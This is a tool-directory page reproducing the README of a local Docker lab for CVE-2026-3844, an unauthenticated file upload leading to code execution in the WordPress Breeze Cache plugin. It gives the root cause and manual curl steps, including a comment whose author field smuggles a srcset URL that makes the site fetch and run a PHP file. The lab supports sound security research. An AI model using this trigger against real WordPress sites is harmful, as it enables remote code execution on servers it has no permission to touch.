Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-3844-Lab | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-3844-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-3844-lab

CVE-2026-3844-Lab

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-3844 — Breeze Cache Unauthenticated Arbitrary File Upload to RCE Lab

Local-only Docker lab for reproducing and comparing CVE-2026-3844 behavior in the WordPress Breeze Cache plugin.

This repository demonstrates the vulnerable behavior in Breeze Cache 2.4.4 and compares it with the patched behavior in Breeze Cache 2.4.5. The lab uses two isolated WordPress services, one vulnerable and one patched, plus a local payload server inside the Docker network.

The proof of concept is intentionally least-harm: it does not use a webshell, does not expose a command parameter, does not start a reverse shell, and does not require reading files from inside the container. The proof is based on observable HTTP behavior from the host.


Executive Summary

CVE-2026-3844 affects the Breeze Cache plugin for WordPress up to and including version 2.4.4. The vulnerable code path is related to the plugin’s local Gravatar caching feature, specifically the fetch_gravatar_from_remote() flow.

When the Breeze option Host Files Locally - Gravatars is enabled, vulnerable versions can fetch an attacker-controlled remote file and store it under a public web-accessible cache directory. If the fetched file is PHP, the file may be executed by the web server when requested over HTTP.

This lab reproduces that behavior locally:

  • vuln service: WordPress + Breeze Cache 2.4.4
  • patched service: WordPress + Breeze Cache 2.4.5
  • payload service: local Docker-only payload server
  • PoC: unauthenticated comment-based trigger using a controlled srcset string

The expected result is:

  • http://127.0.0.1:8081 / Breeze 2.4.4 → proof PHP is cached and executed
  • http://127.0.0.1:8082 / Breeze 2.4.5 → proof PHP is not cached/readable/executable

Repository Structure

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── seed-wordpress.sh
├── payload/
│   └── manual-proof.php
│   └── proof-cve3844.php
├── poc/
│   └── poc.py
│   └── requirements.txt
├── .gitignore
├── README.md

Lab Architecture

root@kitploit:~
Host machine
│
├── http://127.0.0.1:8081  -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082  -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100  -> local payload server

Docker network
│
├── vuln       -> WordPress vulnerable target
├── patched    -> WordPress patched target
├── vuln_db    -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload    -> Python static HTTP server

The WordPress containers fetch the payload through the Docker network URL:

root@kitploit:~
http://payload:9100/<payload-file>.php

The host verifies the result through normal HTTP requests to the WordPress services.


Affected Component

  • Product: Breeze Cache plugin for WordPress
  • Vulnerable version in this lab: 2.4.4
  • Patched version in this lab: 2.4.5
  • Vulnerable function: fetch_gravatar_from_remote()
  • Relevant file: inc/class-breeze-cache-cronjobs.php
  • Required precondition: breeze-store-gravatars-locally must be enabled

The vulnerable behavior is only reachable when local Gravatar caching is enabled. This option is disabled by default in typical installations, but this lab enables it intentionally to reproduce the vulnerable code path.


Root Cause Summary

In Breeze Cache 2.4.4, the Gravatar localization flow can extract a remote URL from avatar-related HTML and pass that URL into fetch_gravatar_from_remote().

The vulnerable version lacks sufficient validation around the remote file:

  • no strict trusted-host validation for Gravatar sources
  • no reliable file extension allowlist before saving
  • no MIME/content validation before placing the file into a public cache directory
  • fetched file may keep a dangerous extension such as .php

The resulting file is stored under:

root@kitploit:~
/wp-content/cache/breeze-extra/gravatars/

When a PHP file is saved there and then requested through Apache/PHP, the server executes it.

In Breeze Cache 2.4.5, the patched flow adds validation that prevents this lab payload from being cached as executable PHP. In the local reproduction, the same trigger works against 2.4.4 but does not expose the proof marker against 2.4.5.


Why This Lab Uses a MU Plugin Helper

This lab intentionally keeps the payload server local instead of using a public payload host.

WordPress download_url() and the WordPress HTTP API reject some private Docker hostnames and non-standard ports by default. Public exploit scripts often use public HTTPS payload URLs, which avoid that restriction. This lab does not do that.

To keep the reproduction fully local, the seed script installs a small local-only MU plugin helper that:

  • allows only the local Docker payload hostnames payload and payload.local
  • allows only the lab ports 80 and 9100
  • auto-approves lab comments
  • disables comment flood checks for deterministic local testing

This helper does not modify Breeze source code. Both the vulnerable and patched services use real Breeze plugin versions installed through WP-CLI.

The helper exists only to make the Docker lab deterministic and local-only.


Safety Model

This repository is intended for local security research and portfolio demonstration only.

Guardrails:

  • runs only on localhost and Docker network services
  • no external callback server
  • no public exploit target
  • no reverse shell
  • no interactive shell
  • no cmd= webshell behavior
  • no secrets or real credentials
  • no container file reads for proof
  • proof is observed through HTTP response behavior

The PoC payload prints benign PHP runtime information:

root@kitploit:~
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>

This proves code execution context without spawning shell commands.


Requirements

  • Docker Desktop or Docker Engine
  • Docker Compose v2
  • Python 3.9+
  • Python package: requests

Install Python dependency:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

requirements.txt should contain:

root@kitploit:~
requests

Quick Start

Build and start the lab:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

Check service status:

root@kitploit:~
docker compose ps

Expected services:

root@kitploit:~
vuln        healthy    http://127.0.0.1:8081
patched     healthy    http://127.0.0.1:8082
payload     running    http://127.0.0.1:9100
vuln_db     healthy
patched_db  healthy

Check seed logs:

root@kitploit:~
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched

Expected log lines:

root@kitploit:~
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5

Verify Lab Readiness

Check WordPress installation:

root@kitploit:~
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html

Check Breeze versions:

root@kitploit:~
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html

Expected:

root@kitploit:~
2.4.4
2.4.5

Check the vulnerable precondition:

root@kitploit:~
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html

Expected:

root@kitploit:~
1
1

Check that WordPress can fetch the local payload service:

root@kitploit:~
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html

If proof-cve3844.php does not exist yet, create any temporary file in payload/ or run the PoC once.


Running the PoC

Run against the vulnerable service:

root@kitploit:~
python3 poc/poc.py --base-url http://127.0.0.1:8081

Expected vulnerable result:

root@kitploit:~
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed

Example proof output:

root@kitploit:~
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>

Run against the patched service:

root@kitploit:~
python3 poc/poc.py --base-url http://127.0.0.1:8082

Expected patched result:

root@kitploit:~
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable

A redirect such as 301 Moved Permanently is not considered proof. The PoC requires the unique marker to appear in the HTTP response body.


What the PoC Does

The PoC performs the following local-only flow:

  1. Generates a unique PHP proof file under payload/.
  2. Serves it through the local payload service.
  3. Posts an unauthenticated WordPress comment with an author value containing:
root@kitploit:~
x srcset=http://payload:9100/<unique-payload>.php
  1. Requests the WordPress post page to trigger Breeze avatar processing.
  2. Checks the expected public Breeze cache path:
root@kitploit:~
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
  1. Confirms vulnerability only if the unique proof marker appears in the HTTP response.
  2. Removes the generated local payload file unless --keep-payload is used.

The PoC does not read files from inside the target container. The evidence is collected over HTTP from the host.


Manual Reproduction

Create a manual payload:

root@kitploit:~
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');

echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP

Confirm the payload server serves the PHP source as static text:

root@kitploit:~
curl -i http://127.0.0.1:9100/manual-proof.php

Post a comment to the vulnerable WordPress service:

root@kitploit:~
curl -i -sS \
  -X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'comment_post_ID=1' \
  --data-urlencode 'comment_parent=0' \
  --data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
  --data-urlencode '[email protected]' \
  --data-urlencode 'url=' \
  --data-urlencode 'comment=manual CVE-2026-3844 proof' \
  --data-urlencode 'submit=Post Comment'

Trigger Breeze processing by rendering the post through the configured WordPress site URL host:

root@kitploit:~
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html

Expected HTML evidence:

root@kitploit:~
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'

Request the cached PHP file:

root@kitploit:~
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'

Expected vulnerable proof:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8

CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>

Check payload logs:

root@kitploit:~
docker compose logs --tail=50 payload

Expected:

root@kitploit:~
GET /manual-proof.php HTTP/1.1" 200

Expected Results

TargetBreeze VersionExpected Result
http://127.0.0.1:80812.4.4PHP proof is fetched, cached, and executable
http://127.0.0.1:80822.4.5PHP proof marker is not exposed

Cleanup

Stop and remove containers, networks, and volumes:

root@kitploit:~
docker compose down -v --remove-orphans

Remove generated payload files if needed:

root@kitploit:~
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php

References

  • NVD — CVE-2026-3844:
    https://nvd.nist.gov/vuln/detail/CVE-2026-3844

  • Patchstack Database — WordPress Breeze Cache Plugin <= 2.4.4 Unauthenticated Arbitrary File Upload via fetch_gravatar_from_remote:
    https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability

  • Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 Unauthenticated Arbitrary File Upload:
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote

  • Wordfence Blog — Active exploitation coverage for Breeze Cache vulnerability:
    https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/

  • Breeze Cache plugin page:
    https://wordpress.org/plugins/breeze/

  • WordPress plugin downloads used in this lab:

    • Breeze Cache 2.4.4:
      https://downloads.wordpress.org/plugin/breeze.2.4.4.zip
    • Breeze Cache 2.4.5:
      https://downloads.wordpress.org/plugin/breeze.2.4.5.zip
  • WordPress Plugin Trac — Breeze source reference, class-breeze-cache-cronjobs.php:
    https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php


Disclaimer

This project is for authorized local security research only. Do not run the PoC against systems you do not own or do not have explicit permission to test.

Download Tool
  • WordPress Plugin Trac — Breeze patched source reference, class-breeze-cache-cronjobs.php:
    https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php